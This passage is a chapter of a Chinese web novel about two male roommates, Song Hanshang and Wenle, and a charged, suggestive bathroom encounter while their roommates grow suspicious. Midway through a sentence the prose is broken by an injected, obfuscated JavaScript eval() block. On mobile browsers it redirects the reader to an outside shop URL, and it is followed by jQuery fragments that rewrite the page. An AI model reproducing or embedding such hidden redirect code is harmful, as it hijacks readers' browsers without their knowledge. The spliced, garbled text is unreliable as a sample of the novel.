9.第 9 章
作品:《直男竹马和唇控美人共感了!》 钱莱莱上完第一节课就把宋寒商不舒服这件事告诉季序了,所以为了能让宋寒商好好休息一会儿,他两上完第一节课就去自习室里玩鹅鸭杀去了。
等到天快黑了,才从食堂买了饭回来。
钱莱莱边按密码边玩上一把还没结束的鹅鸭杀,止不住的抱怨:“我靠,这局谁设置的,八个人要完成八十个任务?!这怎么可能做的完啊?想让鸭子赢就直说,我把头直接送过去,你们看行不行?”
季序在后边催促,踹了他一脚让他小声点:“行了行了,你开个宿舍门怎么这么半天啊,还有你投喂的任务做了没啊?赶紧捡食物投喂古神啊,还有记得盖手印啊,时间超短的。”
“知道了知道了,欸你别挤我,”说着就跟护崽的母鸡似的,不过那崽正是他给闻乐带的车厘子蛋糕。
虽然闻乐性格野,但是他外表甜,且和他的外表一样,他超爱吃甜食,尤其爱吃车厘子蛋糕。而宋寒商呢,则不怎么爱吃,不仅仅是甜食,无论什么宋寒商好像都提不起兴趣,只有在闻乐的投喂之下,宋寒商才会尝几口。
所以他两也不知道宋哥喜欢吃什么,便只好给闻乐带了,不过从小到大只要闻乐吃高兴了,宋哥也就高兴了。
毕竟这种事情,他两可是经常见的。
有一回宋寒商好像是吃过饭了,打饭的时候便只给闻乐一个人打了饭,正常两个人吃饭怎么也会拿两双筷子吧,可是宋寒商却只拿了一双,递给了闻乐。
闻乐有些诧异,问宋寒商怎么只拿了一双筷子,是不打算再吃两口了嘛?
宋寒商却摇了摇头,说“节约资源,拿一双就够,如果有想吃的闻乐喂他就好了”。
闻乐想了想便也觉得有点道理,所以便开启了投喂模式。
季序和钱莱莱从未见过宋寒商吃饭有那么香过!
闻乐喂一口宋寒商吃一口,一点不挑,细嚼慢咽的咬住菜,还要在含一下,好似那一次性筷子还有什么滋味似得...
钱莱莱终于打开了门,一进门季序就莫名觉得燥热。
他抬头看了眼空调,制热25度也不是很热啊?
那为什么他就是觉得连空气中都有一种挥之不去的闷热,就好像刚才有什么人在这间屋子里做过什么摩擦运动一般,哪哪都透着一股混杂?
不过也没放在心上,直到他环顾了一圈宿舍,没看见闻乐和宋寒商两个人的身影,却看到浴室亮着灯光以后。
他诧异的朝着钱莱莱看了一眼,后者一点事没有,没觉得一点异常,正全神贯注的玩鹅鸭杀呢。
也是,身为宿舍第二没心没肺的存在,能觉得有什么异常?!
可是闻乐桌子上满当当的感冒药、不见身影的宋寒商,以及浴室明明亮着灯光,却紧闭着大门,还没有一点水声??!
这怎么看怎么不正常啊......
浴室里,宋寒商一只手环着闻乐的腰,另一只手则轻轻的捂着他的嘴。
又怕身后的墙面太凉,环着闻乐腰的手无声的缩紧,将怀中人抱个满怀的同时,又留出了适当的距离,不远,只是为了能够看清闻乐的表情。
且不同于刚才在外面的愣怔和僵硬。
此时此刻,宋寒商的目光就没有离开过眼前的闻乐。
看着他明亮灵动的眼睛,望向他已然红透的眼尾,受惊般颤动不已的纤长睫毛,少年连卧蚕都十分的可爱,还有那被捂住的唇...
他打开了浴室的淋浴头,又朝着闻乐做了一个噤声的动作。
出奇的,闻乐异常的听话。
听话的眨了眨眼睛,似乎是明白或者感应到了宋寒商的意思,宋寒商这才缓缓地放开了捂着他嘴的手。
肉嘟嘟的唇瓣闪着晶莹的光晕。
这个他一直想细看想触摸,却只能遥遥相望的唇瓣...此时此刻,已尽在宋寒商盈满琥珀的眼眸中...
“寒商,不舒服..”似乎是能感知到宋寒商怕被人发现的想法,闻乐的声音比刚才低了不少,伴着哗啦啦的水声以只有他们两人才能听到的声音说着。
“哪里不舒服?”宋寒商的视线在闻乐的唇上游走。
从唇的轮廓,唇纹再到唇珠。
而不知道是巧合还是什么,宋寒商发现同他一样,闻乐好像也在盯着他的唇.....
这个问题好像问到闻乐了,他疑惑的偏了偏脑袋,视线也终于从宋寒商的唇瓣转移到了他的脸上,又到他的胸前....
闻乐也说不清楚自己到底是哪里不舒服,唇上很痒,身上也很痒,哪怕现在被宋寒商抱在怀里,掌心抵上心仪的肌肤,触摸到那再熟悉不过的温度,可还是不够,想要往宋寒商身上靠,想要往他身上贴!
“寒商,你抱抱我!”说不出来,闻乐只好选择了一大面积不舒服的地方,妄图用这种方式来解决。
头顶传来的轻笑都透着沙哑,环着闻乐腰的手也跟着紧了紧,感受着怀中人的颤抖。
纤长的指尖捏在闻乐的腰上,堪堪一只手就环住了半个。
“这不是抱着呢么,不够吗?”
从小到大听过宋寒商嗓音这么多次,没有一次让闻乐觉得这般蛊惑的,只是一声轻笑,闻乐感觉自己的身上都酥了。
酥酥麻麻的像是变成了小酥糖。
“...够是够...但是...”闻乐呢语着。
确实,虽然宋寒商刚才松开了捂着闻乐的嘴,但他另一只手可一直维持着抱着闻乐的姿势。
不大不小的浴室里站下两个人绰绰有余,可宋寒商却一直抱着他,两人的身体贴在一起,呼吸缠绕着呼吸,心跳一声追着一声。
宋寒商身上的冷香淡淡的飘荡,十分的勾人。
勾的闻乐深吸了好几口,仍觉不够。
“但是什么?”
“说出来,”
宋寒商像是一位引导者,循循善诱又步步紧逼。
闻乐被逼急了,可是又实在说不出来到底是哪里不太够,又到底是哪里不舒服,还有他好像从未这般的脆弱过柔软过。
可他不知道自己怎么了,没有理智,更没有意识....
闻乐急的咬住了下唇。
可爱的小脸也不知道是热得,还是急的都涨红了,本就红润的唇瓣被贝齿咬出浅浅的痕迹,挺翘的唇珠微微的颤抖,像是不堪忍受一般。
“我,我想要..”失去所有意识的闻乐被引导着,尝试着表达自己呼之欲出的欲望。
他盯着宋寒商盈满琥珀的眼眸,一样的眼尾绯红,一样鲜艳又柔软的唇,尤其是闻乐..柔软湿润的像逐渐绽放的蔷薇...
再也控制不住,宋寒商的指尖终是触上了那抹丰润。
一开始只是下唇的唇边,然后便慢慢的沿着那轻粉娇嫩一点点的开始描摹,指尖如同朱砂笔,描摹而过的地方都透着红,渐渐地似乎变得大胆,唇边已然不能满足,便尝试一般的抚摸上了唇肉...
闻乐的双唇一颤,即将脱口而出的话也跟着颤抖。
“什么?”偏偏宋寒商还在逼问。
指尖已然挪到了少年早已红艳的唇缝中,观察着闻乐的表情,看着他眼眸半眯,理智飘忽,又看着他像是被引诱一般的捕捉着那逐渐靠近的指尖,身体无意识的靠近...
他好像知道闻乐想要的是什么,也知道他这是怎么了。
而那即将探进去的指尖,却在下一刻,又恶劣般的移开了。
已然被吸引了注意力的闻乐,哪里受得了这个,好不容易舒服了一点儿,自然不会放过。
激动之余,身体一个前倾,张嘴就要咬!
“这么贪吃啊?”
宋寒商轻笑出声。
失去理智的闻乐有点恼。
这一而再再而三的挑逗偏偏还吃不着,第一次经受这些的闻乐自然忍不了。
见宋寒商不但没靠近,还反而离他越来越远了,下一刻,就是一个贯耳冲击,只不过现在没力气只能是温柔版本的,双手顺势便抓住了宋寒商的肩膀,随即便连衣服带人都推到了身后的墙上。
而宋寒商似乎早已预料到,一点儿没有躲闪,就让闻乐抓住领口,将他领口扯更大的同时,双手伸出似乎是怕闻乐受伤一般的护在他的周围,连连后退中也没想去看清方向。
甚至碰到了身后的架子,发出了轰隆一声,宋寒商也毫不在乎。
他不在乎,自然有人在乎,季序本来就奇怪,硬压下来好奇心才没有靠前,现在听到浴室里莫名发出这种声响。
第一个反应就是:是不是出事了。
看看闻乐这桌子上一堆的感冒药,又想想本来今天下午宋寒商就不舒服,此时两人又不见身影。
或许就是闻乐在照顾宋寒商呢,可如果是闻乐在照顾宋寒商,那闻乐不可能不发出声音啊....难道现在这摔倒的声音,怕不是羸弱的宋哥难受的厉害了?!
也管不了多少了,季序赶忙过去敲了敲浴室的大门。
“闻乐,宋哥?你们没事吧?”有宋寒商在的时候,季序一直就叫闻乐大名,一点不敢叫乐乐…
“我和钱莱莱在外面呢啊,有需要帮忙就叫我们。”
而回应季序的却还是沉默。
似乎刚才重物落地的声音只是他的错觉...
浴室里,闻乐眨着大眼睛看着宋寒商,后者不知为何又捂住了他的嘴。
原本刚才他就要......亲上了....
奇怪了,闻乐不明白他为什么会想去亲宋寒商,毕竟他现在根本没有办法思考,只能随着身体反应做出最本能的反应。
所以只能眨着灵动的眼睛注视着宋寒商,却还是有点气恼一般的张嘴,用小虎牙咬了咬宋寒商的手心。
跟想吃罐头却没吃着,和主人生闷气的缅因似得,眼珠子溜溜的转,气鼓鼓的涨着小脸,看得宋寒商一阵阵发笑。
猫咪逗一逗就好了,逗多了就真的该和他生气了......
可偏偏场合并不合适,门外季序很明显已然察觉到了异常,所以万般无奈,宋寒商只能先停下来了。
“乐乐,你先洗澡。”
宋寒商指了指一旁的浴霸。
闻乐摇了摇头,没明白为什么要洗澡,且一点不想洗。
也是,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17098987|195355||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
根本没吃饱,准确的说就没吃上,这个时候让他洗什么澡啊。
宋寒商笑了,耐着性子哄:“睡觉前都要洗澡的啊?听话,咱们先洗澡好不好,不要让门外的季序他们担心。”
“那你呢?”闻乐指了指宋寒商。
宋寒商的嘴角更大了,真好,他的缅因又开始粘人了。
“我先出去,我已经洗过了,不能和你一起洗了。”
自然不全是因为这个,还不是因为有人打扰!
“好吧。”闻乐不情愿的点了点头,直到离开前,宋寒商故意般的又点了点他的下巴,说了一句意味深长的话。
“乖,我在床上等你!”
浴室大门刚一开,季序就和宋寒商撞了一个面对面。
满嘴担忧,充满好奇,不知道发生了什么事已然迫不及待呼之欲出的季序,在看见宋寒商的那一刻,就像是刚刚点上火的炮仗,却瞬间把引线都直接给掐断了。
千言万语全部堵在了嗓子眼里。
不同于刚才见闻乐的样子,宋寒商的衣服此时又穿得一丝不苟了,白衬衫规整的挽在裤腰里,手腕上的扣子都系的牢牢的,头发微干却工整,和平时高冷的样子一模一样。
唯独要说不一样的,就是领口处的扣子。
像是故意的一般,只系到了第二颗,且从宋寒商关上浴室门开始,就一直在动领子。
无形的就往外敞了不少。
季序不知道是不是自己的错觉,这个动作就好像是故意给季序看他脖颈处一般。
正诧异万年冷玉般的宋哥怎么会有这种行为,然后他就从擦肩而过的宋寒商脖颈处,看见了那一片片像是揉搓,又像是亲吻一般留下的红痕.....
季序:“!”
什么情况?
他下意识看向钱莱莱。
没心没肺钱莱莱还在玩游戏。
季序:“.......”
“宋哥,你...们没事吧.....”季序只好硬着头皮自己问了。
“没事,谢谢关心。”宋寒商回头给了季序一个微笑,轻巧的扯了下嘴角。
可是,不知为何,虽然宋寒商是在笑,可是季序就是莫名觉得瘆得慌。
像是烂番茄TOP榜上血腥恐怖片里的杀手在和自己微笑一样。
虽然在笑,但心里已经盘算好怎么刀你了。
季序:“........”
“欸钱莱莱,刚才任务做到哪了呀?哦哦哦对对对,就是捡食物投喂古神是吧,是的你捡的这个非常对。”
瞬间,季序就跟闪现似得来到了钱莱莱的后面,指着他的手机屏幕,连连称赞。
钱莱莱一脸懵逼,有些诧异的抬头,又看看自己的手机屏幕。
这给古神喂食的任务不是早八辈子就已经完成了吗?而且他手机屏幕上,显示的明明都已经是结算界面了啊?
难不成时间倒流了?!
钱莱莱想问季序是什么情况,眼睛瞎了啊,怎么睁着眼睛说瞎话,可奈何季序正牢牢的捂着他的嘴,他一点声音都发不出来。
而正因为有季序这么一闹,钱莱莱也看见了此时此刻另人诧异且震惊的画面。
他们眼睁睁的看着宋寒商掀开床帘上了床。
又眼睁睁的看着从蒸汽满布的浴室里,像是失了魂魄一般慢悠悠木讷讷的闻乐———他们最最熟悉的闻哥,正目视着前方眼睛都不眨一下的走了出来。
头发都没有擦干,正湿漉漉的滴着水,衣服更是别说穿好了,简直就跟敞着一般。
然后机械的,就这么一步一步的走到了宋寒商的床下。
随即开始,一件又一件的脱衣服,换睡衣,睡衣也不穿穿好,扣子都系的歪歪扭扭的,又拿起宋寒商早早准备在桌子上的吹风机,勉强把头发吹干。
然后,便放下了吹风机、毛巾、衣服,抬起了头,一眨不眨的抬头看向了那严丝合缝的属于宋寒商的藏青色床帘。
整个过程,整个流程,就像是个行尸走肉一般。
没有回头看他们一眼,像是根本没注意到他们这两个大活人似得,还没有任何的表情,机械又麻木。
直到一直寂静无声的藏青色床帘里伸出了一只骨节分明、纤细修长的手。
他朝着闻乐所站的位置,轻轻的勾了勾指尖。
“!”
“!”
钱莱莱和季序看似还是在玩游戏,实则眼睛和嘴巴都睁大了,当然钱莱莱的嘴巴还被季序捂着,所以他只能睁大眼睛。
他们敢说,他们从未见过如此诡异的一幕。
以及又如此的摄人心魄!
那只伸出了的手,就像是魅妖一般,只是轻轻的勾了勾,不仅仅是闻乐,他们都像是被蛊惑了一般。
而紧接着,他们就看见了更令他们震惊的事情———
在这只诡异摄魂又魅惑勾人的指尖之下,今日信誓旦旦、拍着胸脯子下定决心要和宋寒商拉开距离、给他留出自由空间的闻乐!!
没有任何犹豫的,没有任何理由的,
自然地爬上了宋寒商的床......

